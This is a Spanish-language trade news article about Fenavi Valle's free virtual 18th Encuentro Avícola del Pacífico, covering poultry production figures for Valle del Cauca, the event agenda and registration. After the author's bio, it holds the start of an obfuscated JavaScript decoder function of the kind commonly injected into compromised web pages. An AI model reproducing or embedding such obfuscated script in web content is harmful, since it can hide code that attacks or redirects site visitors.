El Valle del Cauca produce cerca de tres millones de toneladas de proteína blanca al año, con el concurso de 255 empresas (en toda la cadena), moviendo anualmente más de COP9.1 billones (US$2,400 millones). Es la principal región colombiana productora de huevo de mesa y la tercera en carne de pollo.
“Este es el evento del sector avícola más grande de la región, en donde la industria es la protagonista. Es el espacio perfecto para actualizarse. Aquí se conocen tendencias de mercado, se generan relaciones comerciales y networking entre productores, distribuidores, veterinarios, nutricionistas, consumidores, estudiantes y todos los públicos que intervienen en la cadena avícola. Este año la jornada por ser virtual durará un solo día, empezando a las 9:30 de la mañana (hora de Colombia) y por primera vez será sin costo”, comentó a Industria Avícola la directora ejecutiva de Fenavi Valle, Ana Lucía Stearling.
(Foto vía Facebook: Fenavi – Seccional Valle)
Agenda de 2020: eficiencia en la mira
Añadió la dirigente gremial que “la agenda de este año está enfocada en el manejo de granjas y cómo podemos ser más efectivos para disminuir costos. Tenemos conferencistas de primer nivel que nos hablarán sobre agua, ventilación, la importancia de la luz. Además contamos con la participación del presidente de la Cámara de Comercio de Cali, Esteban Piedrahita, quien nos dará un panorama de lo que viene para nuestra ciudad y región”.
Dentro de los conferencistas virtuales se contará con la presencia del presidente ejecutivo de Fenavi nacional, Gonzalo Moreno, quien participará con una charla sobre sostenibilidad en el negocio avícola.
El cierre estará a cargo de Pollos Bucanero, la segunda marca colombiana en producción de carne aviar y miembro destacado de Fenavi Seccional Valle. “Para estos momentos en que todos pasamos por mucho estrés, en que vivimos con muchos temores, preparamos con ellos una charla en la que aprenderemos a respirar. Por medio de la respiración podremos aprender a controlar nuestras angustias”, aseguró Stearling.
La inscripción al 18 Encuentro Avícola del Pacífico puede hacerse sin costo en cualquiera de las cuentas gremiales en las siguientes redes sociales: Instagram: @fenaviseccionalvalle; Facebook @FenaviseccionalValle y Twitter @FenaviValle. También puede hacerlo en este enlace.
Alexander Barajas Maldonado es un periodista y escritor colombiano especializado en temas económicos, con énfasis en la producción avícola y nuevas tendencias de consumo. Puede escribirle por correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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16 de septiembre de 2020
